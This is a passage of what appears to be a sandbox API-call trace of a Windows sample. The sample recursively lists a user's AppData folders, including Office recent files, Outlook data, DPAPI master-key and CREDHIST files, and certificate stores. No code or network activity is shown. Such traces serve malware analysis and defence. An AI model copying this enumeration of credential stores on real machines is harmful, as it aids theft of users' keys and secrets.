wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned 65 [0116.734] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\contacts.LNK") returned 76 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned 77 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 74 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 73 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\My Documents.LNK") returned 80 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 77 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent\\UPS_Slip_307086.LNK") returned 83 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.734] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.734] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.735] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.735] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook") returned 57 [0116.735] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned 59 [0116.735] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.735] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.735] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.735] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 69 [0116.735] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.735] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 69 [0116.735] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.735] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.735] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.735] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\PowerPoint") returned 60 [0116.735] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned 62 [0116.735] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.736] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.736] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.736] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.736] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.736] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Proof") returned 55 [0116.736] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Proof\\*") returned 57 [0116.736] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.736] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.736] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.736] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect") returned 57 [0116.736] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\*") returned 59 [0116.736] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.737] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 66 [0116.737] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000") returned 102 [0116.737] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\*") returned 104 [0116.737] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.737] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\06743916-2bb9-4164-9189-b042dfe896ea") returned 139 [0116.737] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\5358434f-1530-463f-8a1f-1ad00bfd7678") returned 139 [0116.737] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1836691140-625943148-109919340-1000\\Preferred") returned 112 [0116.737] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.737] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 103 [0116.737] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*") returned 105 [0116.737] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.738] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 140 [0116.738] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred") returned 113 [0116.738] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.739] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 66 [0116.739] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.739] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher") returned 59 [0116.739] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher\\*") returned 61 [0116.739] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.739] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.739] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned 75 [0116.740] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*") returned 77 [0116.740] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.740] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 92 [0116.740] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.740] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Speech") returned 56 [0116.740] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Speech\\*") returned 58 [0116.740] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.740] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.741] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 68 [0116.741] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned 70 [0116.741] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.741] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 71 [0116.741] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned 73 [0116.741] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.741] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 84 [0116.741] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned 86 [0116.741] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.741] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.742] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 76 [0116.742] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned 78 [0116.742] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.742] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.742] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 76 [0116.742] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned 78 [0116.742] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.742] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.743] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.743] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.743] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates") returned 59 [0116.743] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\*") returned 61 [0116.743] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.743] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned 71 [0116.743] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned 73 [0116.743] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.743] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15") returned 74 [0116.743] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\*") returned 76 [0116.743] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.744] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed") returned 82 [0116.744] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\*") returned 84 [0116.744] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.744] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts") returned 95 [0116.744] wvnsprintfW (in: pszDest=0x2a6c890, cchDest=260, pszFmt="%s\\*", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\*") returned 97 [0116.744] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0116.745] wvnsprintfW (in: pszDest=0x2a6c438, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\1033") returned 100 [0116.745] wvnsprintfW (in: pszDest=0x2a6c1c8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\1033\\*") returned 102 [0116.745] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\1033\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0116.745] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0116.745] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0116.745] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes") returned 98 [0116.745] wvnsprintfW (in: pszDest=0x2a6c890, cchDest=260, pszFmt="%s\\*", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\*") returned 100 [0116.745] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0116.745] wvnsprintfW (in: pszDest=0x2a6c438, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033") returned 103 [0116.745] wvnsprintfW (in: pszDest=0x2a6c1c8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\*") returned 105 [0116.745] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0116.759] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 132 [0116.759] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 135 [0116.759] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 131 [0116.759] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 134 [0116.759] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 131 [0116.760] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 130 [0116.760] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 138 [0116.760] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 134 [0116.760] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK 